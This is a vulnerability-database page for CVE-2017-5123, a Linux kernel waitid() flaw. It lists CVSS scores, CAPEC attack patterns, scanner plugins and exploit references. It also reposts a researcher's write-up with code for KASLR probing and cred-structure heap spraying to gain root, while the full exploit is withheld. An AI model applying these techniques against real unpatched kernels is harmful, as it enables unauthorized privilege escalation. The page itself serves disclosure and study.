Vulnerabilities > CVE-2017-5123 - Improper Input Validation vulnerability in multiple products
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Insufficient data validation in waitid allowed an user to escape sandboxes on Linux.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 14 | |
OS | 7 | |
Application | 1 | |
Hardware | 7 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
Exploit-Db
description Linux Kernel 4.14.0-rc4+ - 'waitid()' Privilege Escalation. CVE-2017-5123. Local exploit for Linux platform id EDB-ID:43029 last seen 2017-10-23 modified 2017-10-22 published 2017-10-22 reporter Exploit-DB source https://www.exploit-db.com/download/43029/ title Linux Kernel 4.14.0-rc4+ - 'waitid()' Privilege Escalation description Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation. CVE-2017-16994. Local exploit for Linux platform id EDB-ID:44303 last seen 2018-05-24 modified 2017-12-11 published 2017-12-11 reporter Exploit-DB source https://www.exploit-db.com/download/44303/ title Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation description Linux Kernel 4.13 (Ubuntu 17.10) - 'waitid()' SMEP/SMAP Privilege Escalation. CVE-2017-5123. Local exploit for Linux platform id EDB-ID:43127 last seen 2017-11-07 modified 2017-11-06 published 2017-11-06 reporter Exploit-DB source https://www.exploit-db.com/download/43127/ title Linux Kernel 4.13 (Ubuntu 17.10) - 'waitid()' SMEP/SMAP Privilege Escalation
Nessus
NASL family Fedora Local Security Checks NASL id FEDORA_2017-C110AC0EB1.NASL description The 4.13.8 update contains a number of important fixes across the tree. ---- The 4.13.6 stable kernel update contains a number of important fixes across the tree. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2017-10-26 plugin id 104158 published 2017-10-26 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/104158 title Fedora 26 : kernel (2017-c110ac0eb1) NASL family Fedora Local Security Checks NASL id FEDORA_2017-CAFCDBDDE5.NASL description The 4.13.8 update contains a number of important fixes across the tree. ---- The 4.13.6 stable kernel update contains a number of important fixes across the tree. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2017-10-26 plugin id 104160 published 2017-10-26 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/104160 title Fedora 25 : kernel (2017-cafcdbdde5) NASL family Fedora Local Security Checks NASL id FEDORA_2017-AA9927961F.NASL description The 4.13.8 update contains a number of important fixes across the tree. ---- The 4.13.6 stable update contains a number of important fixes across the tree. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2018-01-15 plugin id 105948 published 2018-01-15 reporter This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/105948 title Fedora 27 : kernel (2017-aa9927961f)
Packetstorm
data source https://packetstormsecurity.com/files/download/144742/linux4140rc4-escalate.txt id PACKETSTORM:144742 last seen 2017-10-27 published 2017-10-25 reporter XeR_0x2A source https://packetstormsecurity.com/files/144742/Linux-Kernel-4.14.0-rc4-waitid-Privilege-Escalation.html title Linux Kernel 4.14.0-rc4+ waitid() Privilege Escalation data source https://packetstormsecurity.com/files/download/144904/linux413smepsmap-escalate.txt id PACKETSTORM:144904 last seen 2017-11-08 published 2017-11-07 reporter Chris Salls source https://packetstormsecurity.com/files/144904/Linux-Kernel-4.1.3-Ubuntu-17.10-waitid-SMEP-SMAP-Privilege-Escalation.html title Linux Kernel 4.1.3 (Ubuntu 17.10) waitid() SMEP/SMAP Privilege Escalation
Seebug
bulletinFamily | exploit |
description | This is a guest post by a young and talented Portuguese exploiter, Federico Bento. He won this year’s Pwnie for Epic Achievement exploiting TIOCSTI ioctl. Days ago he posted a video demonstrating an exploit for CVE-2017-5123 and luckly for you I managed to convince him to do a write-up about it. I hope you enjoy his work. Thanks Federico! While this one was on a rush, I want to create another blog dedicated to Portuguese hackers and researchers content. We have some great talent on this country so hopefully I will be able to convince them to produce written content instead of just sitting in the shadows. Let’s see if they collaborate on this idea. If you are a Portuguese hacker & researcher keep watching this space for news. If you already have some content (looking for all kinds of stuff, even Web related stuff is ok) please drop a mail to [email protected] (hahahahah). Have fun, fG! And now off to Federico… ### Introduction This will be a quick write-up on how I exploited CVE-2017-5123, a Linux kernel vulnerability in the waitid() syscall for 4.12-4.13 versions. This vulnerability gives an attacker a write-not-what-only-where primitive, or in other words, the ability to write “non-controlled” user data to arbitrary kernel memory. KASLR is bypassed using memory probing and root obtained via cred struct spraying and location predictability. The video demonstrating my exploit in action was published on November 5th, as it can be seen here, https://www.youtube.com/watch?v=DfwOJIcV5ZA. Surprisingly, Chris Salls independently published his own writeup and exploit on November 6th at https://salls.github.io/Linux-Kernel-CVE-2017-5123/. Awesome work there! The Chrome Sandbox wasn’t in my scope though, I was after the more general case of arbitrary zero writes. AFAIK, this primitive by itself can’t be used to escape the Chrome Sandbox using Chris’ techniques. So now, November 7th (0:30 a.m here in Portugal!), I’ll be detailing how I used this write-not-what-only-where vulnerability without a single read to get root. Obviously, given other vulnerabilities, such as certain infoleaks, it would be an instant game over. What spiked my interest, was what could one actually do with only this vulnerability by itself, or other vulnerabilities of this type, assuming all vanilla kernel protections. More generally, what can one do when they’re presented solely with arbitrary zero writes into kernel memory (multiple arbitrary zero writes). It didn’t matter if this was CVE-2017-5123 or other, I was after the techniques that could be used to increase our privileges with this primitive. It’s powerful, but some would initially assume that it’s not enough these days. ### The vulnerability from `kernel/exit.c` ``` SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *, infop, int, options, struct rusage __user *, ru) { struct rusage r; struct waitid_info info = {.status = 0}; long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL); int signo = 0; if (err > 0) { signo = SIGCHLD; err = 0; if (ru && copy_to_user(ru, &r, sizeof(struct rusage))) return -EFAULT; } if (!infop) return err; user_access_begin(); unsafe_put_user(signo, &infop->si_signo, Efault); unsafe_put_user(0, &infop->si_errno, Efault); unsafe_put_user(info.cause, &infop->si_code, Efault); unsafe_put_user(info.pid, &infop->si_pid, Efault); unsafe_put_user(info.uid, &infop->si_uid, Efault); unsafe_put_user(info.status, &infop->si_status, Efault); user_access_end(); return err; Efault: user_access_end(); return -EFAULT; } ``` The vulnerability here is that there is a missing `access_ok()` check in the `waitid()` syscall since they’ve introduced `unsafe_put_user()` in version 4.12. The macro `access_ok()` should basically ensure that the user specified pointer points to user space and not kernel space, since unprivileged users shouldn’t be able to write arbitrarily to kernel memory. This is done by checking the address limit. from `arch/x86/include/asm/uaccess.h`: ``` #define user_addr_max() (current->thread.addr_limit.seg) ... /* * Test whether a block of memory is a valid user space address. * Returns 0 if the range is valid, nonzero otherwise. */ static inline bool __chk_range_not_ok(unsigned long addr, unsigned long size, unsigned long limit) { /* * If we have used "sizeof()" for the size, * we know it won't overflow the limit (but * it might overflow the 'addr', so it's * important to subtract the size from the * limit, not add it to the address). */ if (__builtin_constant_p(size)) return unlikely(addr > limit - size); /* Arbitrary sizes? Be careful about overflow */ addr += size; if (unlikely(addr < size)) return true; return unlikely(addr > limit); } #define __range_not_ok(addr, size, limit) \ ({ \ __chk_user_ptr(addr); \ __chk_range_not_ok((unsigned long __force)(addr), size, limit); \ }) ... #define access_ok(type, addr, size) \ ({ \ WARN_ON_IN_IRQ(); \ likely(!__range_not_ok(addr, size, user_addr_max())); \ }) ``` This means that this vulnerability allows an unprivileged user to specify a kernel address by using `infop` when calling `waitid()`, and the kernel will happily write to it. What is actually written though is hardly controlled. From Chris’ post: ``` info.status is a 32 bit int, but constrained to be 0 < status < 256. info.pid can be somewhat controlled by repeatedly forking, but has a max value of 0x8000. This, however, did not interest me. What interested me was that we could write zeros into arbitrary kernel memory. ``` Here’s what differentiates my exploit from Chris’ - If we could somehow find our cred’s structure, we could write zeros there to effectively get root privileges by overwriting `cred->euid` and `cred->uid`. from `include/linux/cred.h`: ``` struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ }; ``` At this point we are completely blind though, we need a way to bypass KASLR and find the kernel heap. ### KASLR bypass via memory probing By using functions such as `copy_from_user()`, `copy_to_user()`, etc., we make sure that a kernel OOPS won’t happen when a bad address is specified by the user due to the page fault exception handler. This makes sense, since unprivileged users shouldn’t be able to cause a DoS whenever they present an address that does not belong to the address space of the user space process. The same happens by using `unsafe_put_user()`, which means that we can do some memory probing on the range of possible locations for the kernel heap! I do this by using something along the lines of: ``` for(i = (char *)0xffff880000000000; ; i+=0x10000000) { pid = fork(); if (pid > 0) { if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) { printf("[+] Found %p\n", i); break; } } else if (pid == 0) exit(0); } ``` The trick here is that `waitid()` won’t return `EFAULT` when we present it a valid address, so we can do some memory probing this way. Thanks for the enlightenment spender, not the exploits (well actually those were pretty cool at the time) :). Now that we know where the kernel heap lives, how do we know where our cred’s structure live? The state of the kernel heap is pretty much unknown. ### Heap Spraying At this point I already had a clear idea of what I wanted/needed. * If we create hundreds or thousands of processes, hundreds or thousands of cred structures will be created in the kernel heap. * So my idea was to create these many processes that will check in a loop if they get euid of 0, by constantly calling `geteuid()`. * If `geteuid()` returns 0, it means that we have hit the jackpot! From there, we can also write to cred->euid - 0x10, which is `cred->uid`. By spraying the heap we increase the probability of hitting our target, but it is obviously not 100% reliable, just like Chris mentions in his heap spray. Given the primitive we have, heap spraying obviously helps here :). When spraying the heap with multiple struct cred’s and observed their location, I noticed that some addresses are more likely than others to where the creds will reside, even after reboots. This can be observed without the need for some kernel debugging if one wants to try it out easily, simply use this kernel module which prints where `cred->euid` lives. ``` #include <linux/module.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/fs.h> // for basic filesystem #include <linux/proc_fs.h> // for the proc filesystem #include <linux/seq_file.h> // for sequence files static struct proc_dir_entry* jif_file; static int jif_show(struct seq_file *m, void *v) { return 0; } static int jif_open(struct inode *inode, struct file *file) { printk("EUID: %p\n", ¤t->cred->euid); return single_open(file, jif_show, NULL); } static const struct file_operations jif_fops = { .owner = THIS_MODULE, .open = jif_open, .read = seq_read, .llseek = seq_lseek, .release = single_release, }; static int __init jif_init(void) { jif_file = proc_create("jif", 0, NULL, &jif_fops); if (!jif_file) { return -ENOMEM; } return 0; } static void __exit jif_exit(void) { remove_proc_entry("jif", NULL); } module_init(jif_init); module_exit(jif_exit); MODULE_LICENSE("GPL"); ``` By forking and opening `/proc/jif` repeatedly, we can later check the output of `printk()` using `dmesg`. ``` # dmesg | grep EUID\: [16485.192353] EUID: ffff88015e909a14 [16485.192415] EUID: ffff88015e9097d4 [16485.192475] EUID: ffff88015e909954 [16485.192537] EUID: ffff880126c627d4 [16485.192599] EUID: ffff88015e9094d4 [16485.192660] EUID: ffff88015e909414 [16485.192725] EUID: ffff88015e909294 [16485.192790] EUID: ffff88015e909054 [16485.192860] EUID: ffff8801358efdd4 [16485.192925] EUID: ffff8801358efd14 [16485.192991] EUID: ffff8801358efe94 [16485.193057] EUID: ffff88015e909354 [16485.193124] EUID: ffff88015e9091d4 [16485.193187] EUID: ffff8801358eff54 [16485.193249] EUID: ffff8801358efb94 [16485.193314] EUID: ffff8801358efa14 [16485.193381] EUID: ffff88015e909114 [16485.193449] EUID: ffff8801358ef894 [16485.193515] EUID: ffff8801358ef714 [16485.234054] EUID: ffff880125766d14 [16485.234150] EUID: ffff8801256e9954 [16485.234189] EUID: ffff8801256e9654 [16485.429875] EUID: ffff8801257661d4 [16485.429881] EUID: ffff8801256e9e94 [16485.603481] EUID: ffff8801358ef954 [16485.603543] EUID: ffff8801256e9b94 [16485.603582] EUID: ffff880126c62e94 [16485.603620] EUID: ffff8801358ef7d4 [16485.603658] EUID: ffff880126c62a14 [16485.603701] EUID: ffff880125766654 [16485.603743] EUID: ffff8801358ef654 [16485.603782] EUID: ffff8801257667d4 [16485.603824] EUID: ffff880125766a14 [16485.603864] EUID: ffff880125766b94 [16485.603906] EUID: ffff8801256e94d4 [16485.603943] EUID: ffff8801256e91d4 [16485.603979] EUID: ffff880126c62d14 [16485.604017] EUID: ffff88015e909654 [...] ``` We can kind of guess where they might be located, but obviously it’s just guessing :). So now we know that at heap base + some offset, the probability of hitting our target is kind of high compared to the rest. And so I start writing to these and adding `PAGESIZE` in hope that we overwrite one of these processes’ credentials. If that happens, we win! We can also have some fun disabling SELinux by overwriting `selinux_enforcing` and `selinux_enabled`, as seen in my other post, http://www.openwall.com/lists/oss-security/2017/10/25/2. ### The exploit If you’ve read everything all the way down here, then I’m sure you can write your own. It’s not that hard! I’ve provided you with all the necessary information on how I exploited it. If I can, you can too :). This is also more directed at presenting the exploit’s techniques given this primitive rather than this specific vulnerability. Obviously, we can do both :) ### Conclusion You’ve now seen that a vulnerability of this type, by itself, can still be dangerous when exploiting the Linux kernel. I hope you enjoyed this write-up. Thanks again spender, André Baptista @0xACB, and all xSTF. Also a big thanks to @osxreverser for letting me post this in the legendary put.as ;). Shout-out to .pt :). Happy Hacking!! |
id | SSV:96767 |
last seen | 2017-11-19 |
modified | 2017-10-24 |
published | 2017-10-24 |
reporter | Root |
source | https://www.seebug.org/vuldb/ssvid-96767 |
title | Linux Kernel 4.14.0-rc4+ - 'waitid()' Privilege Escalation(CVE-2017-5123) |
References
- https://crbug.com/772848
- https://crbug.com/772848
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96ca579a1ecc943b75beba58bebb0356f6cc4b51
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96ca579a1ecc943b75beba58bebb0356f6cc4b51
- https://security.netapp.com/advisory/ntap-20211223-0003/
- https://security.netapp.com/advisory/ntap-20211223-0003/